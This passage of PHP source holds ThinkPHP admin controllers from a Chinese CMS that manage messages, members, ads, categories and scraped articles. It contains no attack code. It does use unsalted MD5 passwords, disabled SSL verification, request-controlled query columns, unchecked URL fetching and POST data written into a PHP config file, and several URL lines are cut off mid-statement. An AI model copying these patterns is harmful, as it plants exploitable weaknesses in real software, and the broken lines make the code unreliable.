$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bmgr = new BucketManager($auth);

$bucket = $db['2']['text'];

$key = md5($url . rand(11111, 999999)) . $type;

list($ret, $err) = $bmgr->fetch($url, $bucket, $key);

if ($err !== null) {

return '';

} else {

return $key;

}

}

private function \_html\_content($article)

{

preg\_match\_all("/src=\"(.\*?)\"/", $article, $img);

$image = '';

if ($img) {

foreach ($img[1] as $k => $v) {

$img\_1 = $v;

$img\_2 = \_imgUrl() . $this->qiniu($img\_1, 'circle');

if ($img\_1 && $img\_2) {

$article = str\_replace($img\_1, $img\_2, $article);

}

}

}

$article = preg\_replace("/(img\_width.\*?)\"(.\*?)\"/si", "", $article);

$article = preg\_replace("/(img\_height.\*?)\"(.\*?)\"/si", "", $article);

$article = preg\_replace("/(onerror.\*?)\"(.\*?)\"/si", "", $article);

$article = preg\_replace("/(inline.\*?)\"(.\*?)\"/si", "", $article);

$article = preg\_replace("/<(p.\*?)>/si", "<p>", $article);

$article = preg\_replace("/<(\/?figure.\*?)>/si", "", $article);

$article = preg\_replace("/<(\/?a.\*?)>/si", "", $article);

$article = preg\_replace("/(data.\*?)\"(.\*?)\"/si", "", $article);

$article = preg\_replace("/(width.\*?)\"(.\*?)\"/si", "", $article);

$article = preg\_replace("/(alt.\*?)\"(.\*?)\"/si", "", $article);

$article = preg\_replace("/(style.\*?)\"(.\*?)\"/si", "", $article);

return $article;

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

use think\Session;

use Qiniu\Auth;

use Qiniu\Storage\BucketManager;

use Qiniu\Storage\UploadManager;

class Message extends Common

{

public function types()

{

$types = Db::name('message\_type')

->select();

$this->assign('data', $types);

return $this->fetch();

}

public function type()

{

$type\_id = input('param.type\_id', '');

$type = Db::name('message\_type')

->where('id', $type\_id)

->find();

$this->assign('type', $type);

return $this->fetch();

}

public function add\_type()

{

$id = input("id");

if (request()->isAjax()) {

$post = input('post.');;

if ($post) {

$time = time();

if (!$id) {

$message\_type = Db::name('message\_type')->where('title', $post['title'])->find();

if ($message\_type) {

return ['err' => '同标题分类已存在'];

}

$post['create\_time'] = $time;

$db = Db::name('message\_type')->insert($post);

if ($db) {

$data = ['ret' => '添加成功'];

} else {

$data = ['err' => '添加失败'];

}

} else {

$db = Db::name('message\_type')->where('id', $id)->update($post);

if ($db) {

$data = ['ret' => '修改成功'];

} else {

$data = ['err' => '修改失败'];

}

}

} else {

$data = ["err" => 'post错误'];

}

} else {

if ($id) {

$type = Db::name('message\_type')->where('id', $id)->find();

if ($type) {

$this->assign('type', $type);

} else {

$data = ['err' => 'id参数错误'];

}

}

$data = $this->fetch();

}

return $data;

}

public function delete\_type()

{

return;

if (request()->isAjax()) {

$id = input('id');

if ($id) {

$message\_count = Db::name('message')->where('type\_id', $id)->count();

if ($message\_count > 0) {

$db = Db::name('message\_type')->delete($id);

if ($db) {

$data = ['ret' => '删除成功'];

} else {

$data = ['err' => '删除失败'];

}

} else {

$data = ['err' => '属性下有文章，请先删除文章对应属性'];

}

} else {

$data = ['err' => 'id参数错误'];

}

} else {

$data = ['err' => '提交参数错误'];

}

return $data;

}

public function index()

{

$types = Db::name('message\_type')

->select();

$type\_id = input('type\_id', '');

$search\_name = input('search\_name', '');

$query = Db::name('message')

->order('id desc');

if ($type\_id != '') {

$query = $query->where('type\_id', $type\_id);

}

if ($search\_name != '') {

$query = $query->where('content', 'like', '%' . $search\_name . '%');

}

$data = $query->paginate('', false, ['query' => request()->param()]);

$messages = $data->toArray()['data'];

foreach ($messages as $key => $message) {

$messages[$key]['type'] = Db::name('message\_type')

->where('id', $message['type\_id'])

->value('title');

$messages[$key]['sender\_info'] = $message['sender\_id'] ? '(' . $message['sender\_id'] . ') ' . \_user($message['sender\_id'])['username'] : '来自平台';

}

$page = $data->render();

$this->assign('type\_id', $type\_id);

$this->assign('types', $types);

$this->assign('data', $messages);

$this->assign('page', $page);

return $this->fetch();

}

public function add()

{

$types = Db::name('message\_type')

->order('id asc')

->select();

$this->assign('types', $types);

$id = input('param.id');

if (request()->isAjax()) {

$post = input('post.');

if ($post['type\_id'] <= 0) {

return ['err' => '请选择消息分类'];

}

if ($post['create\_time']) {

$time = strtotime($post['create\_time']);

} else {

$time = time();

}

$post['create\_time'] = $time;

if (!empty($post['content'])) {

$post['content'] = trim($post['content']);

}

if (!$id) {

if ($post['recipient\_id']) {

$db = Db::name('message')

->insert($post);

if ($db) {

$data = ['ret' => '添加成功'];

} else {

$data = ['err' => '添加失败'];

}

} else {

$members = Db::name('member')

->order('id asc')

->select();

foreach ($members as $member) {

$post['recipient\_id'] = $member['id'];

Db::name('message')->insert($post);

}

$data = ['ret' => '添加成功'];

}

} else {

$db = Db::name('message')

->where('id', $id)

->update($post);

if ($db) {

$data = ['ret' => '修改成功'];

} else {

$data = ['err' => '修改失败'];

}

}

} else {

if ($id) {

$message = Db::name('message')

->where('id', $id)

->find();

if ($message) {

$this->assign('type\_id', $message['type\_id']);

$this->assign('message', $message);

} else {

$data = ['err' => 'id参数错误'];

}

}

$data = $this->fetch();

}

return $data;

}

public function delete()

{

return;

if (request()->isAjax()) {

$id = input('id');

if ($id) {

$db = Db::name('message')->delete($id);

if ($db) {

$data = ['ret' => '删除成功'];

} else {

$data = ['err' => '删除失败'];

}

} else {

$data = ['err' => 'id参数错误'];

}

} else {

$data = ['err' => '提交参数错误'];

}

return $data;

}

public function desAll()

{

if (request()->isAjax()) {

$post = input('post.');

foreach ($post['des'] as $k => $v) {

$id = intval($k);

$name = intval($v);

Db::name('message')

->where('id', $id)

->setField('des', $name);

}

$data = ['ret' => '更新排序成功'];

} else {

$data = ['err' => '提交类型错误'];

}

return $data;

}

public function delAll()

{

if (request()->isAjax()) {

$post = input('post.');

if (input('?post.delAll')) {

$post = $post['delAll'];

$db = Db::name('message')->delete($post);

if ($db) {

$data = ['ret' => '删除成功'];

} else {

$data = ['err' => '删除失败'];

}

} else {

$data = ['err' => '删除失败，未选中数据'];

}

} else {

$data = ['err' => '提交类型错误'];

}

return $data;

}

public function all()

{

if (request()->isAjax()) {

$post = input('post.');

$type = input('type');

if (input('?post.delAll')) {

$post = $post['delAll'];

$db = Db::name('message');

foreach ($post as $k => $v) {

if ($type == 'del') {

$db->delete($v);

} else {

$db->where('id', $v)->setField('hide', $type);

}

}

if ($db) {

$data = ['ret' => '删除成功'];

} else {

$data = ['err' => '删除失败'];

}

} else {

$data = ['err' => '删除失败，未选中数据'];

}

} else {

$data = ['err' => '提交类型错误'];

}

return $data;

}

public function hide()

{

if (request()->isAjax()) {

$id = input('id') ? input('id') : '0';

$type = input('type') ? input('type') : '0';

$text = ['0' => '<font color="#f00">禁止</font>', '1' => '<font color="#1ab394">通过</font>', '2' => '审核', '3' => '<font color="#f00">拒绝</font>'];

if ($id) {

$aritlce = Db::name('message')->where('id', $id)->find();

if ($aritlce['uid']) {

if ($type == 0) {

\_records($aritlce['uid'], '投稿文章ID：' . $aritlce['id'] . '管理员设置隐藏状态');

} else if ($type == 3) {

\_records($aritlce['uid'], '投稿文章ID：' . $aritlce['id'] . '拒绝通过');

} else if ($type == 3) {

\_records($aritlce['uid'], '投稿文章ID：' . $aritlce['id'] . '管理员设置审核状态');

}

}

if ($aritlce['uid'] && $type == 1) {

$data = DB::name('member\_config')->where("name='articleAdd' or name='articleHide' or name='articleScore' or name='articleNum' or name='articleCode' or name='articleJingyan' or name='articleMoney'")->fetchSql(false)->select();

$articleAdd = $data['0']['text'];

$articleHide = $data['1']['text'];

$articleScore = $data['2']['text'];

$articleNum = $data['3']['text'];

$articleCode = $data['4']['text'];

$articleJingyan = $data['5']['text'];

$articleMoney = $data['6']['text'];

unset($data);

if ($articleMoney) {

$aritlcejiance = Db::name('member\_records')->where(['type' => 'money', 'text' => '投稿奖励ID：' . $aritlce['id'], 'data' => '+'])->value('id');

if (!$aritlcejiance) {

\_records($aritlce['uid'], '投稿奖励ID：' . $aritlce['id'], $articleMoney, 'money', '+');

Db::name('member')->where('id', $aritlce['uid'])->setInc('money', $articleMoney);

}

}

if ($articleScore) {

$aritlcejiance = Db::name('member\_records')->where(['type' => 'score', 'text' => '投稿奖励ID：' . $aritlce['id'], 'data' => '+'])->value('id');

if (!$aritlcejiance) {

\_records($aritlce['uid'], '投稿奖励ID：' . $aritlce['id'], $articleScore, 'score', '+');

Db::name('member')->where('id', $aritlce['id'])->setInc('score', $articleScore);

}

}

if ($articleJingyan) {

$aritlcejiance = Db::name('member\_records')->where(['type' => 'jingyan', 'text' => '投稿奖励ID：' . $aritlce['id'], 'data' => '+'])->value('id');

if (!$articleJingyan) {

\_records($aritlce['uid'], '投稿奖励ID：' . $aritlce['id'], $articleJingyan, 'jingyan', '+');

Db::name('member')->where('id', $this->member['id'])->setInc('jingyan', $articleJingyan);

}

}

\_records($aritlce['uid'], '投稿文章ID：' . $aritlce['id'] . '审核通过');

}

$db = Db::name('message')->where('id', $aritlce['id'])->setField('hide', $type);

if ($db) {

$data = [$text[$type]];

} else {

$data = ['删除失败'];

}

} else {

$data = ['GET值错误'];

}

} else {

$data = ['提交错误'];

}

return $data;

}

public function page()

{

$data = Db::name('page')->order('id asc,des desc')->select();

$this->assign('data', $data);

return $this->fetch();

}

public function pageAdd()

{

$id = input("id");

if (request()->isAjax()) {

$post = input('post.');

if (!$id) {

if ($post['title']) {

$titledb = Db::name('page')->where('title', $post['title'])->find();

if ($titledb) {

return ['err' => '文章标题已存在'];

}

}

$db = Db::name('page')->insert($post);

if ($db) {

$data = ['ret' => '添加成功'];

} else {

$data = ['err' => '添加失败'];

}

} else {

$db = Db::name('page')->where('id', $id)->update($post);

if ($db) {

$data = ['ret' => '修改成功'];

} else {

$data = ['err' => '修改失败'];

}

}

} else {

if ($id) {

$name = Db::name('page')->where('id', $id)->find();

if ($name) {

$this->assign('name', $name);

} else {

$data = ['err' => 'id参数错误'];

}

}

$data = $this->fetch();

}

return $data;

}

private function get($url, $json = false)

{

$arrContextOptions = [

"ssl" => [

"verify\_peer" => false,

"verify\_peer\_name" => false,

],

];

$html = file\_get\_contents('http:

if ($json) {

$html = json\_decode($html, true);

}

return $html;

}

private function qiniu($url, $type = '')

{

if (!$url) {

return '';

}

if (!$type) {

$type = '.jpg';

}

require\_once APP\_PATH . '/../vendor/qiniu/autoload.php';

$db = db::name('member\_config')->where(['type' => 'sdkQiniu'])->cache(\_cache('db'))->select();

$accessKey = $db['0']['text'];

$secretKey = $db['1']['text'];

$auth = new Auth($accessKey, $secretKey);

$bmgr = new BucketManager($auth);

$bucket = $db['2']['text'];

$key = md5($url . rand(11111, 999999)) . $type;

list($ret, $err) = $bmgr->fetch($url, $bucket, $key);

if ($err !== null) {

return '';

} else {

return $key;

}

}

private function \_html\_content($article)

{

preg\_match\_all("/src=\"(.\*?)\"/", $article, $img);

$image = '';

if ($img) {

foreach ($img[1] as $k => $v) {

$img\_1 = $v;

$img\_2 = \_imgUrl() . $this->qiniu($img\_1, 'message');

if ($img\_1 && $img\_2) {

$article = str\_replace($img\_1, $img\_2, $article);

}

}

}

$article = preg\_replace("/(img\_width.\*?)\"(.\*?)\"/si", "", $article);

$article = preg\_replace("/(img\_height.\*?)\"(.\*?)\"/si", "", $article);

$article = preg\_replace("/(onerror.\*?)\"(.\*?)\"/si", "", $article);

$article = preg\_replace("/(inline.\*?)\"(.\*?)\"/si", "", $article);

$article = preg\_replace("/<(p.\*?)>/si", "<p>", $article);

$article = preg\_replace("/<(\/?figure.\*?)>/si", "", $article);

$article = preg\_replace("/<(\/?a.\*?)>/si", "", $article);

$article = preg\_replace("/(data.\*?)\"(.\*?)\"/si", "", $article);

$article = preg\_replace("/(width.\*?)\"(.\*?)\"/si", "", $article);

$article = preg\_replace("/(alt.\*?)\"(.\*?)\"/si", "", $article);

$article = preg\_replace("/(style.\*?)\"(.\*?)\"/si", "", $article);

return $article;

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Member extends Common

{

public function config(){

$name=Db::name('member\_config')->where('type','member')->select();

$config=[];

foreach ($name as $k => $v) {

$config[$v['name']]['name']=$v['name'];

$config[$v['name']]['title']=$v['title'];

$config[$v['name']]['content']=$v['content'];

$config[$v['name']]['text']=$v['text'];

}

$this->assign('cfg',$config);

$member\_groups=Db::name('member\_groups')->order('jingyan asc,id asc')->cache(\_cache('db'))->select();

$member\_groups2=Db::name('member\_groups')->order('jingyan desc,id desc')->cache(\_cache('db'))->select();

$this->assign('member\_groups',$member\_groups);

$this->assign('member\_groups2',$member\_groups2);

if(request()->isAjax()){

$post=input('post.');

if(!$post['regmobile'] && !$post['regemail'] && !$post['reguser']){

return ['err'=>'用户名、手机、邮箱，至少要开放一个'];

}

if($post){

foreach ($name as $k => $v) {

Db::name('member\_config')->where('name',$v['name'])->setField('text',$post[$v['name']]);

}

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

public function index(){

$map=[];

$search\_name=input('param.name');

$search\_type=input('param.type');

if($search\_name && $search\_type){

$map[$search\_type] = ['like','%'.$search\_name.'%'];

}else{

$map='';

}

$map['hide']=['not in',0,1];

$data=Db::name('member')->order('id desc,update\_time desc')->where($map)->paginate('',false,['query'=>request()->param()]);

$this->assign('data',$data);

$page = $data->render();

$this->assign('page', $page);

return $this->fetch();

}

public function add(){

$id=input('id');

if(request()->isAjax()){

$post=input('post.');

if(!$post['user'] && !$post['email'] && !$post['mobile']){

return ['err'=>'账户、手机、邮箱最少填写1个'];

}

$validate=validate('Member');

if($validate->check($post)){

if(!$id){

$post['password']=md5($post['password']);

$post['update\_time']=time();

if($post['user']){

$userdb=Db::name('member')->where('user',$post['user'])->find();

if($userdb){

return ['err'=>'账户已存在'];

}

}

if(!$post['password']){

return ['err'=>'请填写密码'];

}

$post['create\_time']=time();

$db=Db::name('member')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$member=Db::name('member')->where('id',$id)->value('password');

if(!$post['password']){

$post['password']=$member;

}else{

$post['password']=md5($post['password']);

}

$db=Db::name('member')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

$data=["err"=>$validate->getError()];

}

}else{

if($id){

$name=Db::name('member')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function groups(){

$data=Db::name('member\_groups')->order('id asc')->select();

$this->assign('data',$data);

return $this->fetch('groups');

}

public function del(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('member')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function groupsAdd(){

$id=input('id');

if(request()->isAjax()){

$post=input('post.');;

if(!$id){

$titledb=Db::name('member\_groups')->where('title',$post['title'])->find();

if($titledb){

return ['err'=>'分组名已存在'];

}

if($post['jingyan']=='' || $post['jingyan']==0){

return ['err'=>'经验值必须填写'];

}

$db=Db::name('member\_groups')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('member\_groups')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('member\_groups')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function groupsDel(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('member\_groups')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function audit(){

$data=Db::name('member')->order('id desc,update\_time desc')->where(['hide'=>2])->whereOr('hide',3)->paginate('',false,['query'=>request()->param()]);

$this->assign('data',$data);

$page = $data->render();

$this->assign('page', $page);

return $this->fetch();

}

public function hide(){

if(request()->isAjax()){

$id=input('id') ? input('id'): '0';

$type=input('type') ? input('type') : '0';

$text=['0'=>'<font color="#f00">禁止</font>','1'=>'<font color="#1ab394">通过</font>','2'=>'审核','3'=>'<font color="#f00">拒绝</font>'];

if($id){

$db=Db::name('member')->where('id',$id)->setField('hide',$type);

if($db){

$data=[$text[$type]];

}else{

$data=['删除失败'];

}

}else{

$data=['GET值错误'];

}

}else{

$data=['提交错误'];

}

return $data;

}

public function category(){

$data=Db::name('member\_category')->order('des desc,id asc')->select();

$data=get\_tree\_option($data,0);

$this->assign('data',$data);

return $this->fetch();

}

public function categoryAdd(){

$id=input('id');

$category=Db::name('member\_category')->where('tid','0')->select();

$this->assign('category',$category);

if(request()->isAjax()){

$post=input('post.');;

if(!$id){

$titledb=Db::name('member\_category')->where('title',$post['title'])->find();

if($titledb){

return ['err'=>'标题已存在'];

}

$db=Db::name('member\_category')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('member\_category')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

$typeid=input('typeid');

$this->assign('typeid',$typeid);

if($id){

$name=Db::name('member\_category')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$this->error('id参数错误');

}

}

$data=$this->fetch();

}

return $data;

}

public function categoryDel(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('member\_category')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function records(){

$money=input('money') ? input('money') : '';

$type=input('type') ? input('type') : '';

$data=input('data') ? input('data') : '';

$where=[];

if($type){

if($type=='-1'){

$where['money']=0;

}else{

$where['type']=$type;

}

}

$db=Db::name('member\_records')->order('id desc,time desc')->where($where)->paginate('',false,['query'=>request()->param()]);

$data=$db->toarray()['data'];

$type=['money'=>'元','score'=>'积分','jingyan'=>'经验值'];

foreach ($data as $k => $v) {

if($v['money']){

$data[$k]['text']=$v['text'].' <b id="data1">'.$v['data'].'</b><b id="data2">'.$v['money'].'</b> '.$type[$v['type']];

}

}

$this->assign('data',$data);

$page = $db->render();

$this->assign('page', $page);

$this->assign('type', input('type'));

return $this->fetch();

}

public function recordsDel(){

return false;

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('member\_records')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function sfz(){

$map=[];

$search\_name=input('param.name');

$search\_type=input('param.type');

if($search\_name && $search\_type){

$map[$search\_type] = $search\_name;

}else{

$map='';

}

$data=Db::name('member\_sfz')->order('id desc')->where($map)->paginate('',false,['query'=>request()->param()]);

$this->assign('data',$data);

$page = $data->render();

$this->assign('page', $page);

return $this->fetch();

}

public function sfz\_add(){

$id=input('id');

if(request()->isAjax()){

$post=input('post.');

if(!$post['uid']){

return json(['err'=>'用户id必填']);

}

if(!$id){

$post['time'] = time();

$db=Db::name('member\_sfz')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('member\_sfz')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('member\_sfz')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function sfz\_del(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('member\_sfz')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function sfz\_hide(){

$id=input('id');

$hide=input('hide');

if($id){

$db=DB::name('member\_sfz')->where('id',$id)->setField('hide',$hide);

$this->redirect("sfz");

}

}

public function gonggao(){

$map=[];

$search\_name=input('param.name');

$search\_type=input('param.type');

if($search\_name && $search\_type){

$map[$search\_type] = ['like','%'.$search\_name.'%'];

}else{

$map='';

}

$data=Db::name('gonggao')->order('id desc')->where($map)->paginate('',false,['query'=>request()->param()]);

$this->assign('data',$data);

$page = $data->render();

$this->assign('page', $page);

return $this->fetch();

}

public function gonggao\_add(){

$id=input('id');

if(request()->isAjax()){

$post=input('post.');

$post['time'] = time();

if(!$id){

$db=Db::name('gonggao')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('gonggao')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('gonggao')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function gonggao\_del(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('gonggao')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Ad extends Common

{

public function index(){

$data=Db::name('ad')->order('id desc')->select();

$this->assign('data',$data);

return $this->fetch();

}

public function add(){

$id=input("id");

if(request()->isAjax()){

$post=input('post.');

$time=time();

if(!$id){

$titledb=Db::name('ad')->where('title',$post['title'])->find();

if($titledb){

return ['err'=>'分组标题已存在'];

}

$db=Db::name('ad')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('ad')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('ad')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function del(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('ad')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function appDel(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('appad')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function app(){

$data=Db::name('appad')->order('id desc')->select();

$this->assign('data',$data);

return $this->fetch();

}

public function appAdd(){

$id=input("id");

if(request()->isAjax()){

$post=input('post.');

if(!$id){

$db=Db::name('appad')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('appad')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('appad')->find($id);

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

function appconfig(){

$config=config();

$this->assign('cfg',$config['ad']);

if(request()->isAjax()){

$post=input('post.');

if($post){

$data=$post;

if($data){

$data=var\_export($data, true);

$data=str\_replace("array", "return", $data);

$data=str\_replace("(", "[", $data);

$data=str\_replace(")", "];", $data);

$data="<?php\r\n".$data;

file\_put\_contents(APP\_PATH.'extra/ad.php', print\_r($data, true));

$data=['ret'=>'保存成功'];

}else{

$data=['err'=>'保存失败'];

}

}else{

$data=['err'=>'提交参数错误'];

}

}else{

$data=$this->fetch();

}

return $data;

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Collection extends Common

{

public function index(){

$data=Db::name('collection\_type')->order('id asc')->select();

$this->assign('data',$data);

return $this->fetch();

}

public function typeadd(){

$id=input("id");

if(request()->isAjax()){

$post=input('post.');

$time=time();

if(!$id){

$titledb=Db::name('collection\_type')->where('title',$post['title'])->find();

if($titledb){

return ['err'=>'分组标题已存在'];

}

$db=Db::name('collection\_type')->insert($post);

if($db){

$data=['ret'=>'添加成功'];

}else{

$data=['err'=>'添加失败'];

}

}else{

$db=Db::name('collection\_type')->where('id',$id)->update($post);

if($db){

$data=['ret'=>'修改成功'];

}else{

$data=['err'=>'修改失败'];

}

}

}else{

if($id){

$name=Db::name('collection\_type')->where('id',$id)->find();

if($name){

$this->assign('name',$name);

}else{

$data=['err'=>'id参数错误'];

}

}

$data=$this->fetch();

}

return $data;

}

public function typeDel(){

if(request()->isAjax()){

$id=input('id');

if($id){

$db=Db::name('collection\_type')->delete($id);

if($db){

$data=['ret'=>'删除成功'];

}else{

$data=['err'=>'删除失败'];

}

}else{

$data=['err'=>'id参数错误'];

}

}else{

$data=['err'=>'提交参数错误'];

}

return $data;

}

public function rule(){

if(request()->isAjax()){

$post=input('post.');

if($post){

$type=$post['type'];

$html=file\_get\_contents('http:

if($html){

$data=json\_decode($html);

}else{

$data=['err'=>'采集失败'];

}

}else{

$data=['err'=>'type参数错误'];

}

}else{

return $this->fetch();

}

return $data;

}

public function ruledata(){

if(request()->isAjax()){

$post=input('post.');

if($post){

if(!$post['mychannel']){return ['err'=>'请先点击你要采集目标分类'];}

if($post['urls']=='urls'){

$data=[url('collection/ruledata',['mychannel'=>$post['mychannel']])];

}else{

$data=['url'=>url('collection')];

}

}else{

$data=['err'=>'type参数错误'];

}

}else{

$typeiddb=Db::name('typeid')->order('des desc,id asc')->cache(\_cache('db'))->select();

$this->assign('typeid',get\_tree\_option($typeiddb,0));

return $this->fetch();

}

return $data;

}

public function ruledataview(){

if(request()->isAjax()){

$post=input('post.');

if($post){

$html=file\_get\_contents('http:

preg\_match("/<article id=\"J\_article\" class=\"J-article article\">([\s\S]\*?)<\/article>

/",$html,$article);

$article=$article['1'];

preg\_match("/<h1 class=\"title\">(.\*?)<\/h1>/", $article, $title);

preg\_match('/<span class="src">(.\*?)&nbsp;&nbsp;&nbsp;&nbsp;来源：(.\*?)<\/span>/', $article, $text);

preg\_match('/<div id="content" class="J-article-content article-content">([\s\S]\*?)<\/div>/', $article, $content);

$content=preg\_replace("/<(p.\*?)>/si","<p>",$content['1']);

$content=preg\_replace("/<(\/?figure.\*?)>/si","",$content);

$content=preg\_replace("/<(\/?a.\*?)>/si","",$content);

$content=preg\_replace("/(data.\*?)\"(.\*?)\"/si","",$content);

$content=preg\_replace("/(width.\*?)\"(.\*?)\"/si","",$content);

$content=preg\_replace("/(alt.\*?)\"(.\*?)\"/si","",$content);

$content=preg\_replace("/(style.\*?)\"(.\*?)\"/si","",$content);

preg\_match\_all("/src=\"(.\*?)\"/",$content,$img);

$image='';

if($img){

foreach ($img[1] as $k => $v) {

$img\_1=$v;

$img\_2=$this->upload($img\_1);

if($img\_1 && $img\_2){

$content=str\_replace($img\_1,$img\_2,$content);

if($k==0){

$image=$img\_2;

}

}

}

}

$content=str\_replace("\r\n","",$content);

if($title['1'] && $content){

$titledb=Db::name('article')->where('title',$title['1'])->find();

if($titledb){

return ['err'=>'<font color="#f00">文章存在</font>'];

}

}else{

return ['ret'=>'<font color="#f00">采集失败</font>'];

}

$data=[

'title' => $title['1'],

'image' => $image,

'content' => $content,

'typeid' => $post['typeid'],

'create\_time' => strtotime($text['1'].":00"),

'update\_time' => strtotime($text['1'].":00"),

'source' => $text['2'],

'hide' => 1,

'template' => '',

'des' => 50,

'keywords' => '',

'description' => '',

'flags' => 0,

'click' => '',

'tags' => '',

'url' => '',

'mychannel' => 1,

];

$db=Db::name('article')->insert($data);

if($db){

$data=['ret'=>'<font color="#1ab394">发布成功</font>'];

}else{

$data=['err'=>'<font color="#f00">发布失败</font>'];

}

}else{

$data=['err'=>'参数值错误'];

}

}else{

$data=['err'=>'提交错误'];

}

return $data;

}

private function upload($img){

$d=ROOT\_PATH . 'public/uploads';

$date=date('Ymd');

$d=$d.'/'.$date.'/';

if(!file\_exists($d)){

mkdir($d);

}

$geshi=explode('.', $img);

$geshi=array\_pop($geshi);

$img=file\_get\_contents($img);

if(!$img){

return '';

}

$geshis=md5($img).'.'.$geshi;

$geshisa=$date.'/'.md5($img).'.'.$geshi;

$d=$d.'/'.$geshis;

file\_put\_contents($d,$img);

return "/public/uploads/".$geshisa;

}

public function toutiao(){

return $this->fetch();

}

public function weitoutiao(){

return $this->fetch();

}

public function svideo(){

return $this->fetch();

}

}

<?php

namespace app\admin\controller;

use app\admin\controller\Common;

use think\Db;

class Typeid extends Common

{

public function index(){

$typedb=Db::name('typeid')->order('des desc,id asc')->select();

$typedb=get\_tree\_option($typedb,0);

$this->assign('data',$typedb);

return $this->fetch();

}

public function add(){

$typedb=Db::name('typeid')->order('des desc,id asc')->select();

$typedb=get\_tree\_option($typedb,0);

$this->assign('typeid',$typedb);

$id=input("id");

if(request()->isAjax()){

$post=input('post.');;

$validate=validate('Typeid');

if($validate->check($post)){

$time=time();

$post['update\_time']=$time;

if(!$id){

if($post['tid']==0){

